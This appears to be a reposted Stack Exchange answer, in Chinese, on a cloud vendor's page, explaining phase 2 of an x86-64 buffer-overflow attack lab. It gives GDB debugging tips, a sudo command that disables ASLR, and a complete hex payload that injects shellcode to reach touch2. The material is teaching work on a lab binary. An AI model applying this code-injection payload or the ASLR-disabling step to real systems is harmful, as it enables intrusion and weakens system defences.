You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

x86-64攻击实验第二阶段:注入Shellcode的缓冲区溢出漏洞利用

x86-64缓冲区溢出攻击(第二阶段)问题解答

针对你的三个问题的具体解决方案

1. 验证注入的Shellcode是否执行

  • 断点验证:在GDB中给Shellcode的起始地址下硬件断点,比如b *0x55682d68,运行程序后如果触发断点,说明Shellcode已被执行;若未触发,检查返回地址是否正确,或栈上Shellcode是否被覆盖。
  • 指令替换测试:将Shellcode开头的NOP替换为int3(十六进制cc),运行程序后若GDB触发断点,证明Shellcode已加载执行;若直接崩溃,说明Shellcode未被正确映射到预期地址。
  • 内存内容检查:在getbuf的ret指令处打断点,执行x/16xb 0x55682d68查看栈上字节序列,确认与你构造的Shellcode完全一致,排除注入过程中的字节损坏。

2. 溢出后追踪指令流的高效技巧

  • 精准追踪ret跳转:先通过disas getbuf找到getbuf的ret指令地址,下断点b *<ret_addr>。程序停在这里时,先检查$rsp指向的返回地址是否为你设置的Shellcode地址,再用si单步执行ret,观察是否跳转到Shellcode起始位置。
  • 关闭ASLR:执行echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭地址空间随机化,保证每次调试时栈地址固定,避免因地址变化导致的调试混乱。
  • 崩溃后栈回溯:程序崩溃时,用bt查看调用栈,定位崩溃时的指令地址,判断是跳转地址错误,还是Shellcode执行过程中触发非法指令。
  • 内存写断点:用watch *0x55682d68设置内存写断点,监控Shellcode地址是否被其他代码修改,排查意外覆盖问题。

3. 返回地址计算的常见错误

  • 小端序字节逆序错误:x86-64采用小端字节序,返回地址在payload中需按字节逆序写入。例如目标地址0x55682d68,payload中应写为68 2d 68 55 00 00 00 00(你的写法正确,但新手常搞反字节顺序导致地址无效)。
  • 缓冲区大小计算偏差:若错误估算getbuf的缓冲区大小,会导致返回地址覆盖位置偏移。可通过disas getbuf查看栈分配指令(如sub $0x20, %rsp表示缓冲区大小为0x20字节),加上保存的rbp(8字节),返回地址应在缓冲区起始地址+0x28位置。
  • Shellcode地址偏移错误:若返回地址指向的位置与Shellcode实际起始位置存在偏移,会导致跳转到Shellcode中间触发非法指令。需精确计算返回地址到Shellcode的偏移,比如你在返回地址后加了6个NOP,Shellcode实际起始地址是返回地址+8(返回地址占8字节)+6,若返回地址直接指向这个起始位置才正确。
  • 忽略调用约定的栈对齐:x86-64要求call指令前%rsp必须16字节对齐。执行Shellcode的ret指令前,需确保%rsp满足对齐要求,否则可能触发崩溃。

你的当前Payload核心问题修正

你的Shellcode执行movq $0x792ef9cf, %rdi后直接ret,但此时%rsp指向的是Shellcode之后的栈空间(无有效地址),导致跳转到非法地址崩溃。正确的做法是:

  1. 先获取touch2()的地址(可通过GDB命令p touch2确认,从你的调试信息看0x0000000000402794大概率是touch2的地址)。
  2. 在Payload的Shellcode之后,添加touch2()的地址(小端序),修改后的Payload结构如下:
# 缓冲区填充(32字节)
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  
# 保存的帧指针(8字节)
00 00 00 00 00 00 00 00  
# 覆盖的返回地址(指向Shellcode起始)
68 2d 68 55 00 00 00 00  
# NOP填充(6字节,用于栈对齐)
90 90 90 90 90 90  
# Shellcode:设置rdi,然后ret到touch2
48 c7 c7 cf f9 2e 79 c3  
# touch2地址(小端序,假设touch2地址是0x402794)
94 27 40 00 00 00 00 00  

这样Shellcode的ret指令会从栈上取出touch2的地址,跳转到目标函数执行。

内容的提问来源于stack exchange,提问作者Toan Lam

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.14 01:50:57